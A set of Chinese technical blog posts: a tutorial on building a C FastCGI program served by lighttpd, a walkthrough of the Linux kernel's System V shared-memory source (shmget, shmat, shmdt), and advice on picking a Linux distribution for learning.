现在开发Web有N种选择，啥php，C#，java，ruby，nodejs...哪个都比开发FastCGI要简单和强大的多，为何还要跑到这么个底层来做Web服务呢？答案是嵌入式系统需求！我们知道嵌入式系统往往由于硬件的限制，为了节约处理器和内存，很多事情都需要省的点用。对于简单的Web服务，没有必要（或者不能）去使用高层次的编程框架，那么这个时候，就可以直接基于CGI那套协议来进行开发。通常在这个层次下，C语言是首选。

FastCGI和CGI的概念

要搞清楚FastCGI，必须先搞清楚CGI

参考

CGI与FastCGI

Nginx + CGI/FastCGI + C/Cpp

搞不清FastCgi与PHP-fpm之间是个什么样的关系

CGI

CGI是一种协议，用于扩展Web服务器原本的能力。我们知道，Web服务器最早是用来提供静态文件访问的，想要实现动态内容提供是比较困难的。CGI因此而产生。这是一套协议，简单的说，就是Web服务器在必要的时候，为了处理Request，会调起一个进程（CGI程序），让这个进程来处理请求，并将这个进程返回的结果返回给客户端。然后进程结束，下次请求重复这个过程。这个过程中涉及到Web进程和CGI程序进程的输入和输出协议，这个机制和协议就叫CGI。那么具体的说，在CGI程序中，输入和输出是通过stdin,stdout,stderr来进行的，请求的参数等则是通过环境变量来传递的。所以CGI程序其实没有语言限制，只要能够读取环境变量，读写标准输入输出即可。下图以Apache和Python为例，说明CGI的工作方式



Python的CGI扩展能够在Python解释器的帮助下，解释用户编写的Python脚本，从而输入输出，虽然这个模型相比上面阐述的基本模型要复杂一点，但是本质是相同的。

CGI的缺点很明显，每个请求都要启动进程来处理请求，进程启动的开销是没有必要的。

FastCGI

为了解决CGI的缺点，诞生了FastCGI。既然CGI的缺点是进程的频繁启动和关闭，那么是否可以有一个专门管理CGI进程的程序，在没有Request请求的情况下，保持多个CGI进程的挂起状态，当有请求的时候，分配一个进程来处理，处理完成后挂起，就像是进程池一样。这个进程池的管理程序称为FastCGI管理器，从字面看，它可以提高CGI程序的效率。

不光是处理模型的优化，CGI程序只能在Web服务器本机执行，而基于FastCGI的管理下，CGI程序可以被部署在远程，通过TCP Socket或者Unix domain Socket来传输数据，这种模式可以理解为FastCGI代理。

FastCGI管理器有多种形式。例如：Apache和Lighttpd是通过模块的方式实现FastCGI管理器的，而Nginx则是通过FastCGI代理模式实现的（也就是说需要一个单独的FastCGI管理器进程，该进程通过侦听TCP Socket或者Unix domain Socket在Nginx和CGI程序之间起到桥梁作用）。

同样是Apache和Python为例，下图为FastCGI的启动和运行的模型



Apache在调用用户脚本的时候，会依靠Apache内建的FastCGI模块来调度CGI进程，CGI进程也不会消亡，下次请求就不需要重新启动解析器了。而且CGI进程是通过Socket形式实现输入输出的，当然CGI程序在编写的时候，仍然是通过stdin,stdout,stderr来输入输出，只是最终可能是通过网络来实现的，这样做可以实现从CGI程序到FastCGI程序的平滑过渡。你会发现开发FastCGI程序跟开发CGI程序并没有多少区别。

关于Nginx的FastCGI代理模式，有必要多说几句。Nginx自身没有实现FastCGI管理器，但是Nginx可以支持FastCGI代理，我们来看看Nginx是如何配置php的就明白了：


location ~ \.php$ {
    root  html;
    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /scripts$fastcgi_script_name;
    include        fastcgi_params;
}


可以看到，Nginx其实是把请求扔给127.0.0.1:9000，那么还需要一个程序来监听127.0.0.1:9000啊，对了！这个程序就是php-fpm，所以我们在用Nginx配置php的时候需要：

php-fpm start


php-fpm可以帮Nginx实现CGI进程管理器的功能。看起来好麻烦有没有，为什么Apache无需php-fpm，原因上面说了，Apache是通过模块实现的，无需单独启动php-fpm。

那么，如何开始开发一个FastCGI程序呢，我们需要FastCGI的开发套件，以及一个合适的Web服务器，这里FastCGI套件从这里下载，Web服务器，我们选择了lighttpd，因为既然要直接开发CGI程序，那么通常你会选择尽可能轻量的Web服务器。当然支持FastCGI的Web服务器很多，这里有列表。

准备lighttpd

lighttpd的安装就不多说了，你可以选择编译安装或者源安装，我选择了编译安装，所以后续的启动啥的麻烦一点。

lighttpd的启动和重启

如果是编译安装的，那么你需要将源码包doc里面的config文件夹复制到/etc下，并重命名为lighttpd，这里面是lighttpd的一系列启动配置，然后像下面这样启动：

/usr/local/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf

如果你经常折腾Web服务器，这应该很好理解。当然你可以查看一下配置文件，了解个大概（尤其是日志文件的位置），由于配置文件有很多注释，分享一个命令，能去掉注释部分，只看重点：

sed -n '/^\s*[^#]/p' /etc/lighttpd/lighttpd.conf

重启的话，可以通过下面命令先杀掉相关的进程，然后再启动

killall lighttpd
/usr/local/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf

lighttpd配置fastcgi模块

这个相对简单，在/etc/lighttpd/modules.conf，将里面的fastcgi模块的引用反注释掉


include "conf.d/fastcgi.conf"


那么关于fastcgi的配置就顺理成章的在conf.d/fastcgi.conf中了，其中关键的一句是：


server.modules += ( "mod_fastcgi" )


底下有很多示例配置，尤其是对php的配置示例，尤其详细，然而我们是直接做CGI程序，可以参考这个配置


fastcgi.debug = 1
fastcgi.server = (
    ".fcgi" => (
     "local" => (
      "socket" => socket_dir + "fcgitest-fcgi.socket",
      "checklocal" => "disable",
      "bin-path" => server_root + "/htdocs/cgi-bin/fh.fcgi",
      "idle-timeout" => 10,
      "min-procs" => 1,
      "max-procs" => 1
     )
    )
)


理解了FastCGI原理后，再来看这个其实很容易理解：


	对所有.fcgi后缀的处理


	通过fcgitest-fcgi.socket


	用/htdocs/cgi-bin/fh.fcgi程序来处理


	最多同时驻留1个CGI进程，最少1个（对于嵌入式系统，并不是要处理高并发，多个进程并没有意义）




我们可以通过浏览器访问http://localhost/cgi-bin/fh.fcgi，即可执行fh.fcgi程序（这里htdocs是配置的文档根目录）。

那么接下来的重点是开发/htdocs/cgi-bin/fh.fcgi程序。

开始开发FastCGI程序

开发套件的安装

下载好套件后，解压在fcgi-devel-kit目录


cd fcgi-devel-kit
./configure
make
cd libfcgi
make
make install


显然我们其实需要的是FastCGI的include和lib，上面的命令可以在/usr/local/lib下创建几个相关的库文件：


-rw-r--r--.  1 root root 204902 Nov 15 20:09 libfcgi.a
-rwxr-xr-x.  1 root root    704 Nov 15 20:09 libfcgi.la
lrwxrwxrwx.  1 root root     16 Nov 15 20:09 libfcgi.so -> libfcgi.so.0.0.0
lrwxrwxrwx.  1 root root     16 Nov 15 20:09 libfcgi.so.0 -> libfcgi.so.0.0.0
-rwxr-xr-x.  1 root root 145320 Nov 15 20:09 libfcgi.so.0.0.0


.a是静态库，.la是基于libtool的链接库。后面你可以选择使用.a来链接，也可以使用libtool工具，使用.la来构建。

完成套件的安装后，先创建一个项目文件，并将include和libtool工具拷贝进去（如果你不打算用libtool编译，可以不拷贝libtool）


mkdir -p ~/Projects/fh
cp -r ~/fcgi-devel-kit/include ~/Project/fh/fcgi_inc
cp ~/fcgi-devel-kit/libtool ~/Project/fh/libtool


创建一个main.c文件，并编辑如下：


#include <fcgi_stdio.h>
#include <stdio.h>

int main(){
 int count = 0;
 while(FCGI_Accept() >= 0){
    printf("Content-type: text/html\r\n"
           "\r\n"
           "<title>FastCGI Hello! (C, fcgi_stdio library)</title>"
           "<h1>FastCGI Hello! (C, fcgi_stdio library)</h1>"
           "Request number %d running on host <i>%s</i>\n",
            ++count, getenv("SERVER_NAME"));
 }
}


上面的程序跟普通的CGI程序的关键区别在于while(FCGI_Accept() >= 0)，这个条件会在没有请求需要处理的时候阻塞，那么进程就会挂起，并在正常情况下不会退出。这样就实现了进程驻留的效果。

编译和链接

使用libtool进行编译和链接


./libtool --mode=compile gcc -I fcgi_inc -c main.c

rm -f .libs/main.lo
gcc -I fcgi_inc -c main.c  -fPIC -DPIC -o .libs/main.lo
gcc -I fcgi_inc -c main.c -o main.o >/dev/null 2>&1
mv -f .libs/main.lo main.lo


编译得到的是main.lo和main.o，前者用于继续用libtool链接FastCGI的lib，后者可用于普通的链接。

接着链接：


./libtool --mode=link gcc -o fh main.lo /usr/local/lib/libfcgi.la

gcc -o fh main.o  /usr/local/lib/libfcgi.so -lnsl  -Wl,--rpath -Wl,/usr/local/lib -Wl,--rpath -Wl,/usr/local/lib


得到的程序fh，是通过main.o和/usr/local/lib/libfcgi.so链接后生成的（动态链接），可以看到libtool实际上只是对gcc的一个包装而已。据说是为了方便解决依赖库，笔者折腾了好久才弄清楚。

最后，将fh复制到目标目录，并重命名。当然如果fh.fcgi进程已经由lighttpd启动，需要杀掉进程，再覆盖。


cp -f fh /srv/www/htdocs/cgi-bin/fh.fcgi


最后使用浏览器的访问效果：



需要注意的是，访问的文件还是必须物理存在的（因为没有配置任何rewrite），比如这里访问的cgi-bin/fg.fcgi，实际上映射了/srv/www/htdocs/cgi-bin/fg.fcgi文件，然后再用fastcgi的方式来处理。否则只会返回404，笔者在这里卡了一下。

结语

花了一天时间，简单实验的FastCGI的开发，后续还需要使用IDE来开发，并实现交叉编译，后面再折腾了。


 阅读 Linux 内核源码——共享内存
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介绍

我看的是linux-4.2.3的源码。参考了《边干边学——Linux内核指导》（鬼畜的书名）第16章内容，他们用的是2.6.15的内核源码。

现在linux中可以使用共享内存的方式有两种


	POSIX的shm_open()在/dev/shm/下打开一个文件，用mmap()映射到进程自己的内存地址


	System V的shmget()得到一个共享内存对象的id，用shmat()映射到进程自己的内存地址




POSIX的实现是基于tmpfs的，函数都写在libc里，没什么好说的，主要还是看System V的实现方式。在System V中共享内存属于IPC子系统。所谓ipc，就是InterProcess Communication即进程间通信的意思，System V比前面的Unix增加了3中进程间通信的方式，共享内存、消息队列、信号量，统称IPC。主要代码在以下文件中


	ipc/shm.c


	include/linux/shm.h


	ipc/util.c


	ipc/util.h


	include/linux/ipc.h




同一块共享内存在内核中至少有3个标识符


	IPC对象id（IPC对象是保存IPC信息的数据结构）


	进程虚拟内存中文件的inode，即每个进程中的共享内存也是以文件的方式存在的，但并不是显式的。可以通过某个vm_area_struct->vm_file->f_dentry->d_inode->i_ino表示


	IPC对象的key。如果在shmget()中传入同一个key可以获取到同一块共享内存。但由于key是用户指定的，可能重复，而且也很少程序写之前会约定一个key，所以这种方法不是很常用。通常System V这种共享内存的方式是用于有父子关系的进程的。或者用ftok()函数用路径名来生成一个key。




首先看一下在内核中表示一块共享内存的数据结构，在include/linux/shm.h中
/* */是内核源码的注释，// 是我的注释

struct shmid_kernel /* private to the kernel */
{    
    struct kern_ipc_perm    shm_perm; // 权限，这个结构体中还有一些重要的内容，后面会提到
    struct file        *shm_file;        // 表示这块共享内存的内核文件，文件内容即共享内存的内容
    unsigned long        shm_nattch;   // 连接到这块共享内存的进程数
    unsigned long        shm_segsz;    // 大小，字节为单位
    time_t            shm_atim;         // 最后一次连接时间
    time_t            shm_dtim;         // 最后一次断开时间
    time_t            shm_ctim;         // 最后一次更改信息的时间
    pid_t            shm_cprid;        // 创建者进程id
    pid_t            shm_lprid;        // 最后操作者进程id
    struct user_struct    *mlock_user;

    /* The task created the shm object.  NULL if the task is dead. */
    struct task_struct    *shm_creator;
    struct list_head    shm_clist;    /* list by creator */
};

再看一下struct shmid_kernel中存储权限信息的shm_perm，在include/linux/ipc.h中

/* used by in-kernel data structures */
struct kern_ipc_perm
{
    spinlock_t    lock;
    bool        deleted;
    int        id;           // IPC对象id
    key_t        key;      // IPC对象键值，即创建共享内存时用户指定的
    kuid_t        uid;      // IPC对象拥有者id
    kgid_t        gid;      // 组id
    kuid_t        cuid;     // 创建者id
    kgid_t        cgid;
    umode_t        mode; 
    unsigned long    seq;
    void        *security;
};

为啥有这样一个struct呢？因为这些权限、id、key是IPC对象都有的属性，所以比如表示semaphore的结构struct semid_kernel中也有一个这样的struct kern_ipc_perm。然后在传递IPC对象的时候，传的也是struct kern_ipc_perm的指针，再用container_of这样的宏获得外面的struct，这样就能用同一个函数操作3种IPC对象，达到较好的代码重用。

接下来我们看一下共享内存相关函数。首先它们都是系统调用，对应的用户API在libc里面，参数是相同的，只是libc中的API做了一些调用系统调用需要的日常工作（保护现场、恢复现场之类的），所以就直接看这个系统调用了。

声明在include/linux/syscalls.h中

asmlinkage long sys_shmat(int shmid, char __user *shmaddr, int shmflg);
asmlinkage long sys_shmget(key_t key, size_t size, int flag);
asmlinkage long sys_shmdt(char __user *shmaddr);
asmlinkage long sys_shmctl(int shmid, int cmd, struct shmid_ds __user *buf);

定义在ipc/shm.c中

shmget

SYSCALL_DEFINE3(shmget, key_t, key, size_t, size, int, shmflg)
{
    struct ipc_namespace *ns;
    static const struct ipc_ops shm_ops = {
        .getnew = newseg,
        .associate = shm_security,
        .more_checks = shm_more_checks,
    };
    struct ipc_params shm_params;

    ns = current->nsproxy->ipc_ns;

    shm_params.key = key;
    shm_params.flg = shmflg;
    shm_params.u.size = size;

    return ipcget(ns, &shm_ids(ns), &shm_ops, &shm_params);
}

首先看到这个函数定义可能会很奇怪，不过这个SYSCALL_DEFINE3的宏展开来最后形式肯定和.h文件中声明的一样，即还是long sys_shmget(key_t key, size_t size, int flag)这个宏是为了修一个bug，纯粹黑科技，这里不提它。

然后这里实际调用的函数是ipcget()。为了统一一个ipc的接口也是煞费苦心，共享内存、信号量、消息队列三种对象创建的时候都会调用这个函数，但其实创建的逻辑并不在这里。而在shm_ops中的三个函数里。

namespace

顺便提一下其中的current->nsproxy->ipc_ns。这个的类型是struct ipc_namespace。它是啥呢？我们知道，共享内存这些进程间通信的数据结构是全局的，但有时候需要把他们隔离开，即某一组进程并不知道另外的进程的共享内存，它们只希望在组内共用这些东西，这样就不会与其他进程冲突。于是就煞费苦心在内核中加了一个namespace。只要在clone()函数中加入CLONE_NEWIPC标志就能创建一个新的IPC namespace。

那么这个IPC namespace和我们的共享内存的数据结构有什么关系呢，可以看一下结构体

struct ipc_ids {
    int in_use;
    unsigned short seq;
    struct rw_semaphore rwsem;
    struct idr ipcs_idr;
    int next_id;
};

struct ipc_namespace {
    atomic_t    count;
    struct ipc_ids    ids[3];
    ...
};

比较重要的是其中的ids，它存的是所用IPC对象的id，其中共享内存都存在ids[2]中。而在ids[2]中真正负责管理数据的是ipcs_idr，它也是内核中一个煞费苦心弄出来的id管理机制，一个id可以对应任意唯一确定的对象。把它理解成一个数组就好。它们之间的关系大概如下图所示。

                                                        [0] struct kern_ipc_perm <==> struct shmid_kernel
struct ipc_namespace => struct ipc_ids => struct idr => [1] struct kern_ipc_perm <==> struct shmid_kernel
                                                        [2] struct kern_ipc_perm <==> struct shmid_kernel

回到shmget

好的，我们回头来看看shmget()究竟干了啥，首先看一下ipcget()

int ipcget(struct ipc_namespace *ns, struct ipc_ids *ids,
            const struct ipc_ops *ops, struct ipc_params *params)
{
    if (params->key == IPC_PRIVATE)
        return ipcget_new(ns, ids, ops, params);
    else
        return ipcget_public(ns, ids, ops, params);
}

如果传进来的参数是IPC_PRIVATE（这个宏的值是0）的话，无论是什么mode，都会创建一块新的共享内存。如果非0，则会去已有的共享内存中找有没有这个key的，有就返回，没有就新建。

首先看一下新建的函数newseg()

static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
{
    key_t key = params->key;
    int shmflg = params->flg;
    size_t size = params->u.size;
    int error;
    struct shmid_kernel *shp;
    size_t numpages = (size + PAGE_SIZE - 1) >> PAGE_SHIFT;
    struct file *file;
    char name[13];
    int id;
    vm_flags_t acctflag = 0;

    if (size < SHMMIN || size > ns->shm_ctlmax)
        return -EINVAL;

    if (numpages << PAGE_SHIFT < size)
        return -ENOSPC;

    if (ns->shm_tot + numpages < ns->shm_tot ||
            ns->shm_tot + numpages > ns->shm_ctlall)
        return -ENOSPC;

    shp = ipc_rcu_alloc(sizeof(*shp));
    if (!shp)
        return -ENOMEM;

    shp->shm_perm.key = key;
    shp->shm_perm.mode = (shmflg & S_IRWXUGO);
    shp->mlock_user = NULL;

    shp->shm_perm.security = NULL;
    error = security_shm_alloc(shp);
    if (error) {
        ipc_rcu_putref(shp, ipc_rcu_free);
        return error;
    }

    sprintf(name, "SYSV%08x", key);
    if (shmflg & SHM_HUGETLB) {
        struct hstate *hs;
        size_t hugesize;

        hs = hstate_sizelog((shmflg >> SHM_HUGE_SHIFT) & SHM_HUGE_MASK);
        if (!hs) {
            error = -EINVAL;
            goto no_file;
        }
        hugesize = ALIGN(size, huge_page_size(hs));

        /* hugetlb_file_setup applies strict accounting */
        if (shmflg & SHM_NORESERVE)
            acctflag = VM_NORESERVE;
        file = hugetlb_file_setup(name, hugesize, acctflag,
                  &shp->mlock_user, HUGETLB_SHMFS_INODE,
                (shmflg >> SHM_HUGE_SHIFT) & SHM_HUGE_MASK);
    } else {
        /*
         * Do not allow no accounting for OVERCOMMIT_NEVER, even
         * if it's asked for.
         */
        if  ((shmflg & SHM_NORESERVE) &&
                sysctl_overcommit_memory != OVERCOMMIT_NEVER)
            acctflag = VM_NORESERVE;
        file = shmem_kernel_file_setup(name, size, acctflag);
    }
    error = PTR_ERR(file);
    if (IS_ERR(file))
        goto no_file;

    id = ipc_addid(&shm_ids(ns), &shp->shm_perm, ns->shm_ctlmni);
    if (id < 0) {
        error = id;
        goto no_id;
    }

    shp->shm_cprid = task_tgid_vnr(current);
    shp->shm_lprid = 0;
    shp->shm_atim = shp->shm_dtim = 0;
    shp->shm_ctim = get_seconds();
    shp->shm_segsz = size;
    shp->shm_nattch = 0;
    shp->shm_file = file;
    shp->shm_creator = current;
    list_add(&shp->shm_clist, &current->sysvshm.shm_clist);

    /*
     * shmid gets reported as "inode#" in /proc/pid/maps.
     * proc-ps tools use this. Changing this will break them.
     */
    file_inode(file)->i_ino = shp->shm_perm.id;

    ns->shm_tot += numpages;
    error = shp->shm_perm.id;

    ipc_unlock_object(&shp->shm_perm);
    rcu_read_unlock();
    return error;

no_id:
    if (is_file_hugepages(file) && shp->mlock_user)
        user_shm_unlock(size, shp->mlock_user);
    fput(file);
no_file:
    ipc_rcu_putref(shp, shm_rcu_free);
    return error;
}

这个函数首先几个if检查size是不是合法的参数，并且检查有没有足够的pages。然后调用ipc_rcu_alloc()函数给共享内存数据结构shp分配空间。然后把一些参数写到shp的shm_perm成员中。然后sprintf下面那个大的if-else是为表示共享内存内容的file分配空间。再然后ipc_addid()是一个比较重要的函数，它把刚才新建的这个共享内存的数据结构的指针加入到namespace的ids里，即可以想象成加入到数组里，并获得一个可以找到它的id。这里的id并不完全是数组的下标，因为要避免重复，所以这里有一个简单的机制来保证生成的id几乎是unique的，即ids里面有个seq变量，每次新加入共享内存对象时都会加1，而真正的id是这样生成的SEQ_MULTIPLIER * seq + id。然后初始化一些成员，再把这个数据结构的指针加到当前进程的一个list里。这个函数的工作就基本完成了。

接下来我们再看一下如果创建时传入一个已有的key，即ipcget_public()的逻辑

static int ipcget_public(struct ipc_namespace *ns, struct ipc_ids *ids,
        const struct ipc_ops *ops, struct ipc_params *params)
{
    struct kern_ipc_perm *ipcp;
    int flg = params->flg;
    int err;

    /*
     * Take the lock as a writer since we are potentially going to add
     * a new entry + read locks are not "upgradable"
     */
    down_write(&ids->rwsem);
    ipcp = ipc_findkey(ids, params->key);
    if (ipcp == NULL) {
        /* key not used */
        if (!(flg & IPC_CREAT))
            err = -ENOENT;
        else
            err = ops->getnew(ns, params);
    } else {
        /* ipc object has been locked by ipc_findkey() */

        if (flg & IPC_CREAT && flg & IPC_EXCL)
            err = -EEXIST;
        else {
            err = 0;
            if (ops->more_checks)
                err = ops->more_checks(ipcp, params);
            if (!err)
                /*
                 * ipc_check_perms returns the IPC id on
                 * success
                 */
                err = ipc_check_perms(ns, ipcp, ops, params);
        }
        ipc_unlock(ipcp);
    }
    up_write(&ids->rwsem);

    return err;
}

逻辑非常简单，先去找有没有这个key。没有的话还是创建一个新的，注意ops->getnew()对应的就是刚才的newseg()函数。如果找到了就判断一下权限有没有问题，没有问题就直接返回IPC id。

可以再看下ipc_findkey()这个函数

static struct kern_ipc_perm *ipc_findkey(struct ipc_ids *ids, key_t key)
{
    struct kern_ipc_perm *ipc;
    int next_id;
    int total;

    for (total = 0, next_id = 0; total < ids->in_use; next_id++) {
        ipc = idr_find(&ids->ipcs_idr, next_id);

        if (ipc == NULL)
            continue;

        if (ipc->key != key) {
            total++;
            continue;
        }

        rcu_read_lock();
        ipc_lock_object(ipc);
        return ipc;
    }

    return NULL;
}

逻辑也很简单，注意到ids->ipcs_idr就是之前提到的Interger ID Managenent机制，里面存的就是shmid和对象一一对应的关系。然后这里可以看到ids->in_use表示的是共享内存的个数，由于中间的有些可能删掉了，所以total在找到一个不为空的共享内存的时候才++。然后我们也可以看到，这里对重复的key并没有做任何处理。所以我们在编程的时候也应该避免直接约定用某一个数字当key。

shmat

接下来我们看一下shmat()，它的逻辑全在do_shmat()中，所以我们直接看这个函数。

long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr,
          unsigned long shmlba)
{
    struct shmid_kernel *shp;
    unsigned long addr;
    unsigned long size;
    struct file *file;
    int    err;
    unsigned long flags;
    unsigned long prot;
    int acc_mode;
    struct ipc_namespace *ns;
    struct shm_file_data *sfd;
    struct path path;
    fmode_t f_mode;
    unsigned long populate = 0;

    err = -EINVAL;
    if (shmid < 0)
        goto out;
    else if ((addr = (ulong)shmaddr)) {
        if (addr & (shmlba - 1)) {
            if (shmflg & SHM_RND)
                addr &= ~(shmlba - 1);       /* round down */
            else
#ifndef __ARCH_FORCE_SHMLBA
                if (addr & ~PAGE_MASK)
#endif
                    goto out;
        }
        flags = MAP_SHARED | MAP_FIXED;
    } else {
        if ((shmflg & SHM_REMAP))
            goto out;

        flags = MAP_SHARED;
    }

    if (shmflg & SHM_RDONLY) {
        prot = PROT_READ;
        acc_mode = S_IRUGO;
        f_mode = FMODE_READ;
    } else {
        prot = PROT_READ | PROT_WRITE;
        acc_mode = S_IRUGO | S_IWUGO;
        f_mode = FMODE_READ | FMODE_WRITE;
    }
    if (shmflg & SHM_EXEC) {
        prot |= PROT_EXEC;
        acc_mode |= S_IXUGO;
    }

    /*
     * We cannot rely on the fs check since SYSV IPC does have an
     * additional creator id...
     */
    ns = current->nsproxy->ipc_ns;
    rcu_read_lock();
    shp = shm_obtain_object_check(ns, shmid);
    if (IS_ERR(shp)) {
        err = PTR_ERR(shp);
        goto out_unlock;
    }

    err = -EACCES;
    if (ipcperms(ns, &shp->shm_perm, acc_mode))
        goto out_unlock;

    err = security_shm_shmat(shp, shmaddr, shmflg);
    if (err)
        goto out_unlock;

    ipc_lock_object(&shp->shm_perm);

    /* check if shm_destroy() is tearing down shp */
    if (!ipc_valid_object(&shp->shm_perm)) {
        ipc_unlock_object(&shp->shm_perm);
        err = -EIDRM;
        goto out_unlock;
    }

    path = shp->shm_file->f_path;
    path_get(&path);
    shp->shm_nattch++;
    size = i_size_read(d_inode(path.dentry));
    ipc_unlock_object(&shp->shm_perm);
    rcu_read_unlock();

    err = -ENOMEM;
    sfd = kzalloc(sizeof(*sfd), GFP_KERNEL);
    if (!sfd) {
        path_put(&path);
        goto out_nattch;
    }

    file = alloc_file(&path, f_mode,
              is_file_hugepages(shp->shm_file) ?
                &shm_file_operations_huge :
                &shm_file_operations);
    err = PTR_ERR(file);
    if (IS_ERR(file)) {
        kfree(sfd);
        path_put(&path);
        goto out_nattch;
    }

    file->private_data = sfd;
    file->f_mapping = shp->shm_file->f_mapping;
    sfd->id = shp->shm_perm.id;
    sfd->ns = get_ipc_ns(ns);
    sfd->file = shp->shm_file;
    sfd->vm_ops = NULL;

    err = security_mmap_file(file, prot, flags);
    if (err)
        goto out_fput;

    down_write(&current->mm->mmap_sem);
    if (addr && !(shmflg & SHM_REMAP)) {
        err = -EINVAL;
        if (addr + size < addr)
            goto invalid;

        if (find_vma_intersection(current->mm, addr, addr + size))
            goto invalid;
    }

    addr = do_mmap_pgoff(file, addr, size, prot, flags, 0, &populate);
    *raddr = addr;
    err = 0;
    if (IS_ERR_VALUE(addr))
        err = (long)addr;
invalid:
    up_write(&current->mm->mmap_sem);
    if (populate)
        mm_populate(addr, populate);

out_fput:
    fput(file);

out_nattch:
    down_write(&shm_ids(ns).rwsem);
    shp = shm_lock(ns, shmid);
    shp->shm_nattch--;
    if (shm_may_destroy(ns, shp))
        shm_destroy(ns, shp);
    else
        shm_unlock(shp);
    up_write(&shm_ids(ns).rwsem);
    return err;

out_unlock:
    rcu_read_unlock();
out:
    return err;
}

首先检查shmaddr的合法性并进行对齐，即调整为shmlba的整数倍。如果传入addr是0，前面检查部分只会加上一个MAP_SHARED标志，因为后面的mmap会自动为其分配地址。然后从那一段两行的注释开始，函数通过shmid尝试获取共享内存对象，并进行权限检查。然后修改shp中的一些数据，比如连接进程数加一。然后是通过alloc_file()创建真正的要做mmap的file。在mmap之前还要对地址空间进行检查，检查是否和别的地址重叠，是否够用。实际的映射工作就在do_mmap_pgoff()函数中做了。

shmdt

SYSCALL_DEFINE1(shmdt, char __user *, shmaddr)
{
    struct mm_struct *mm = current->mm;
    struct vm_area_struct *vma;
    unsigned long addr = (unsigned long)shmaddr;
    int retval = -EINVAL;
#ifdef CONFIG_MMU
    loff_t size = 0;
    struct file *file;
    struct vm_area_struct *next;
#endif

    if (addr & ~PAGE_MASK)
        return retval;

    down_write(&mm->mmap_sem);

    /*
     * This function tries to be smart and unmap shm segments that
     * were modified by partial mlock or munmap calls:
     * - It first determines the size of the shm segment that should be
     *   unmapped: It searches for a vma that is backed by shm and that
     *   started at address shmaddr. It records it's size and then unmaps
     *   it.
     * - Then it unmaps all shm vmas that started at shmaddr and that
     *   are within the initially determined size and that are from the
     *   same shm segment from which we determined the size.
     * Errors from do_munmap are ignored: the function only fails if
     * it's called with invalid parameters or if it's called to unmap
     * a part of a vma. Both calls in this function are for full vmas,
     * the parameters are directly copied from the vma itself and always
     * valid - therefore do_munmap cannot fail. (famous last words?)
     */
    /*
     * If it had been mremap()'d, the starting address would not
     * match the usual checks anyway. So assume all vma's are
     * above the starting address given.
     */
    vma = find_vma(mm, addr);

#ifdef CONFIG_MMU
    while (vma) {
        next = vma->vm_next;

        /*
         * Check if the starting address would match, i.e. it's
         * a fragment created by mprotect() and/or munmap(), or it
         * otherwise it starts at this address with no hassles.
         */
        if ((vma->vm_ops == &shm_vm_ops) &&
            (vma->vm_start - addr)/PAGE_SIZE == vma->vm_pgoff) {

            /*
             * Record the file of the shm segment being
             * unmapped.  With mremap(), someone could place
             * page from another segment but with equal offsets
             * in the range we are unmapping.
             */
            file = vma->vm_file;
            size = i_size_read(file_inode(vma->vm_file));
            do_munmap(mm, vma->vm_start, vma->vm_end - vma->vm_start);
            /*
             * We discovered the size of the shm segment, so
             * break out of here and fall through to the next
             * loop that uses the size information to stop
             * searching for matching vma's.
             */
            retval = 0;
            vma = next;
            break;
        }
        vma = next;
    }

    /*
     * We need look no further than the maximum address a fragment
     * could possibly have landed at. Also cast things to loff_t to
     * prevent overflows and make comparisons vs. equal-width types.
     */
    size = PAGE_ALIGN(size);
    while (vma && (loff_t)(vma->vm_end - addr) <= size) {
        next = vma->vm_next;

        /* finding a matching vma now does not alter retval */
        if ((vma->vm_ops == &shm_vm_ops) &&
            ((vma->vm_start - addr)/PAGE_SIZE == vma->vm_pgoff) &&
            (vma->vm_file == file))
            do_munmap(mm, vma->vm_start, vma->vm_end - vma->vm_start);
        vma = next;
    }

#else /* CONFIG_MMU */
    /* under NOMMU conditions, the exact address to be destroyed must be
     * given */
    if (vma && vma->vm_start == addr && vma->vm_ops == &shm_vm_ops) {
        do_munmap(mm, vma->vm_start, vma->vm_end - vma->vm_start);
        retval = 0;
    }

#endif

    up_write(&mm->mmap_sem);
    return retval;
}

接下来是shmdt()，这个函数非常简单，找到传入的shmaddr对应的虚拟内存数据结构vma，检查它的地址是不是正确的，然后调用do_munmap()函数断开对共享内存的连接。注意此操作并不会销毁共享内存，即使没有进程连接到它也不会，只有手动调用shmctl(id, IPC_RMID, NULL)才能销毁。

shmctl()总体就是一个switch语句，大多数做的是读取信息的或者设置标志位的工作，这里不赘述。
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	开发的不可能不懂一点Linux运维，因为他们不会搭建环境怎么开发。

	一个好的运维不可能不懂开发。最贴切的例子：运维脚本。服务器状态数据可视化（Gnuplot，虽然cacti都有现成的了）等等。







发行版本



	
既然是来学习的，来解决身边问题的。那么就不要考虑好不好的问题，而是考虑什么好用什么不好用的问题。举几个贴切的例子。



	Service方面，如果你使用Linux来坐传统的LAMP业务的花，想稳定而且有长期维护的版本那么RHEL（CentOS）系列的就比较适合你了。

	现在是Linux3.0时代，正处于版本号狂飙阶段（据闻，脱袜子准备3.19之后换挡到4.0了），各种新功能各种百花齐放。因此如果想用比较新的功能请使用版本好比较新的发行版本（Ubuntu，Fedora，等等）





	
客观的来讲发行版本的选择：



	选使用人比较多的，因为社区庞大，寻求到帮助的概率比较大。并且BUG也会是比较少的。

	根据应用情况来选择，如果是路由那么就选OpenWRT，另外如果是树莓派等等虽然选择比较多，但是为了稳定运行请选择官方提供的Image。会比较方便。





	
推荐使用的发行版本



	推荐LFS


	也许很多人会反持有不同的意见。但是LFS如果使用CentOS 6 版本如果严格按照教程来做，那么就会非常非常轻松的完成安装。

	
既然这么轻松，为什么我还要推荐LFS来做初次学习Linux的学习版本呢？


    1.  在安装的过程中会熟悉很多很多Linux命令。




	还会熟悉Linux到底怎么组织运行起来的。遇到问题的时候才不会胡子眉毛一把抓。因为它的确不是很简单的小系统。

	会有机会熟悉各种Linux模块，明白到底什么是Linux内核，哪里是Linux内核，哪里是Linux。会绕过很多很多坑。









	不管选择什么发行版本：学知识，更好学习方法(学习方法，解决问题的方法，搜索的方法，等等都有好处)。




到底要不要桌面？



	建议不要桌面。

	如果您是windows建议使用VirtualBox+headerLess做成托盘+Putty远程控制。

	如果您是Mac 建议使用VBoxHeadless的命令行使用Screen挂起运行。



学习Linux的配置



